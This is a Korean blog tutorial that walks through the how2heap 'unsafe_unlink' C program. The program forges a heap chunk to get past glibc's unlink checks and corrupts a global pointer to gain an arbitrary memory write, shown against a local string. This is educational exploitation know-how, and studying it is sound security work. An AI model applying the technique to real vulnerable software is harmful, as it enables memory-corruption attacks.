-
0x08.How2heap - unsafe_unlink0x.Heap Tutorial 2018. 4. 10. 00:08
오랜만에 how2heap에 대한 문서를 작성한다. 근데 unsafe_unlink에 대해 설명하자니 글로 너무 복잡하다. ㅋㅋ123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869#include <stdio.h>#include <stdlib.h>#include <string.h>#include <stdint.h>uint64_t *chunk0_ptr;int main(){fprintf(stderr, "Welcome to unsafe unlink 2.0!\n");fprintf(stderr, "Tested in Ubuntu 14.04/16.04 64bit.\n");fprintf(stderr, "This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");fprintf(stderr, "The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");int malloc_size = 0x80; //we want to be big enough not to use fastbinsint header_size = 2;fprintf(stderr, "The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);fprintf(stderr, "We create a fake chunk inside chunk0.\n");fprintf(stderr, "We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);fprintf(stderr, "We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");fprintf(stderr, "With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);fprintf(stderr, "Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);fprintf(stderr, "Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);fprintf(stderr, "We need to make sure the 'size' of our fake chunk matches the 'previous_size' of the next chunk (chunk+size)\n");fprintf(stderr, "With this setup we can pass this check: (chunksize(P) != prev_size (next_chunk(P)) == False\n");fprintf(stderr, "P = chunk0_ptr, next_chunk(P) == (mchunkptr) (((char *) (p)) + chunksize (p)) == chunk0_ptr + (chunk0_ptr[1]&(~ 0x7))\n");fprintf(stderr, "If x = chunk0_ptr[1] & (~ 0x7), that is x = *(chunk0_ptr + x).\n");fprintf(stderr, "We just need to set the *(chunk0_ptr + x) = x, so we can pass the check\n");fprintf(stderr, "1.Now the x = chunk0_ptr[1]&(~0x7) = 0, we should set the *(chunk0_ptr + 0) = 0, in other words we should do nothing\n");fprintf(stderr, "2.Further more we set chunk0_ptr = 0x8 in 64-bits environment, then *(chunk0_ptr + 0x8) == chunk0_ptr[1], it's fine to pass\n");fprintf(stderr, "3.Finally we can also set chunk0_ptr[1] = x in 64-bits env, and set *(chunk0_ptr+x)=x,for example chunk_ptr0[1] = 0x20, chunk_ptr0[4] = 0x20\n");chunk0_ptr[1] = sizeof(size_t);fprintf(stderr, "In this case we set the 'size' of our fake chunk so that chunk0_ptr + size (%p) == chunk0_ptr->size (%p)\n", ((char *)chunk0_ptr + chunk0_ptr[1]), &chunk0_ptr[1]);fprintf(stderr, "You can find the commitdiff of this check at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30\n\n");fprintf(stderr, "We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");uint64_t *chunk1_hdr = chunk1_ptr - header_size;fprintf(stderr, "We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");fprintf(stderr, "It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");chunk1_hdr[0] = malloc_size;fprintf(stderr, "If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);fprintf(stderr, "We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");chunk1_hdr[1] &= ~1;fprintf(stderr, "Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");fprintf(stderr, "You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");free(chunk1_ptr);fprintf(stderr, "At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");char victim_string[8];strcpy(victim_string,"Hello!~");chunk0_ptr[3] = (uint64_t) victim_string;fprintf(stderr, "chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");fprintf(stderr, "Original value: %s\n",victim_string);chunk0_ptr[0] = 0x4141414142424242LL;fprintf(stderr, "New Value: %s\n",victim_string);}cs
저번 취약점들에 비해 엄청 길어보인다. 하지만 한 단계씩 천천히 나아가보도록 하자.
uint64_t *chunk0_ptr;
여기서 미리 알아야 할 것은 chunk0_ptr가 글로벌 영역에 있다는 것이다.
자 이제 분석을 시작해보자.
int malloc_size = 0x80; //we want to be big enough not to use fastbins
int header_size = 2;
가장 먼저 malloc을 할 사이즈를 정하는데, fastbin에는 해당되지 않는 취약점이므로 smallbin을 할당하도록 설정할 것이다.
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
malloc으로 chunk0_ptr chunk1_ptr를 할당했다.
fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
두 동적메모리 영역의 주소값을 출력해보면
The global chunk0_ptr is at 0x602070, pointing to 0x13b6010
The victim chunk we are going to corrupt is at 0x13b60a0
동적 할당 영역은 각각 0x13b6010, 0x13b60a0을 가리키는데, 글로벌 포인터인 chunk0_ptr의 주소값은 0x602070이다.
젤 처음 동적할당한 영역안에 fake_chunk를 생성할 것인데 fd와 bk를 설정할 것이다.
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3); //fd
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2); //bk
fprintf(stderr, "Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
fprintf(stderr, "Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);
위의 포인터들이 가리키는 주소값을 출력해보았더니
Fake chunk fd: 0x602058
Fake chunk bk: 0x602060
글로벌 포인터의 주소값에서 각각 24byte, 16byte떨어진 값을 가지고 있다.힙 구조의 특성상 청크들은 링크리스트 형태로 연결되어 있다. 그러므로 bk와 fd그리고 prev_size와 같은 정보들을 일치시켜 줘야 한다.
fake_chunk의 모습을 정리해보자면
chunk0_ptr[0] : prev_size
chunk0_ptr[1] : chunk_size
chunk0_ptr[2] : fd
chunk0_ptr[3] : bk
다음과 같이 나타낼 수 있다. free가 발생할 경우 연속한 청크들을 병합할 때 호출되는 unlink 매크로를 수행하기 위해서는 fake_chunk를 손 볼 필요성이 있다.
P -> fd -> bk
p -> bk -> fd
p를 기준으로 fd의 bk 값과 bk의 fd 값이 일치해야 되기 때문에 이 부분에 대한 주소값을 fake_chunk의 fd와 bk의 위치에 저장해야 하며, 이 부분이 일치하지 않을 경우 corrupted double-linked list 에러가 발생한다.그림으로 보면 다음과 같을 것이다.
위와 같이 결국 p -> fd -> bk와 p -> bk -> fd가 같은 값인 0x602070 즉, 글로벌 변수가 가리키는 malloc(0x80)으로 할당받은 Fake_chunk를 가리키므로 동일한 값을 가리키게 된다.
하지만 여기서 끝나는게 아니라 해당 청크의 size를 다음 청크의 prev_size와 통일시켜야 한다.
chunksize = prev_size(next_chunk)
size의 값으로 8을 넣어주면,
chunk0_ptr[1] = sizeof(size_t);
next chunk + size의 값이 next chunk + 8이 되기 때문에 chunk0_ptr[1]과 같기 때문에 우회가 된다.(0x13b6018)이제 chunk0에서 overflow 취약점이 존재하여 chunk1을 덮어쓸 수 있다고 가정을 해보자.
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
chunk1_hdr의 값에 chunk1의 시작위치를 저장한다.
chunk1_hdr[0] = malloc_size;
chunk1의 prev_size 값을 malloc_size로 변경함으로써 0x80이라는 값이 들어가게 되는데 이를 통해 우리가 만든 fake_chunk의 주소가 시작주소인 것처럼 만들 수 있다. 만약 정상적으로 free가 되면 0x90의 값을 가지고 있었겠지만, 이 부분을 오버라이팅 함으로써 fake_chunk의 시작주소로 청크의 시작주소를 변경할 수 있는 것이다.
chunk1_hdr[1] &= ~1;
그 다음으로 chunk1의 prev_inuse 의 값을 해제한다. 이를 통해 unlink macro가 이전 chunk가 Free되었다고 생각할 것이다.
free(chunk1_ptr);
이제 chunk1을 해제를 하면, unlink macro에 의해 chunk가 병합이 된다. 결과적으로 병합으로 인하여 chunk0의 포인터 값이 변조가 된다.이를 통해 0x602070이 아닌 fake_chunk의 fd값인 0x60258이 들어가게 된다. 그로 인해 오버플로우를 통해 주소값의 오버라이팅이 가능하다.
char victim_string[8];
배열을 하나 생성하고,
chunk0_ptr[3] = (uint64_t) victim_string;
주소값을 오버라이팅 했다.
fprintf(stderr, "Original value: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
fprintf(stderr, "New Value: %s\n",victim_string);
이제 이 주소값의 내용을 변조해보면
chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.
Original value: Hello!~
New Value: BBBBAAAA
아래와 같이 변조가 된다!!!
이 과정을 그림으로 표현하자면 다음과 같다.'0x.Heap Tutorial' 카테고리의 다른 글
0x09.How2heap - house_of_einherjar (0) 2018.11.22 0x07.How2heap - fastbin_dup_consolidate (0) 2018.04.09 0x06.Malloc hook (0) 2018.03.19 0x05.How2heap - fastbin_dup_into_stack (0) 2018.03.12 0x04.How2heap - fastbin_dup (0) 2018.03.08 댓글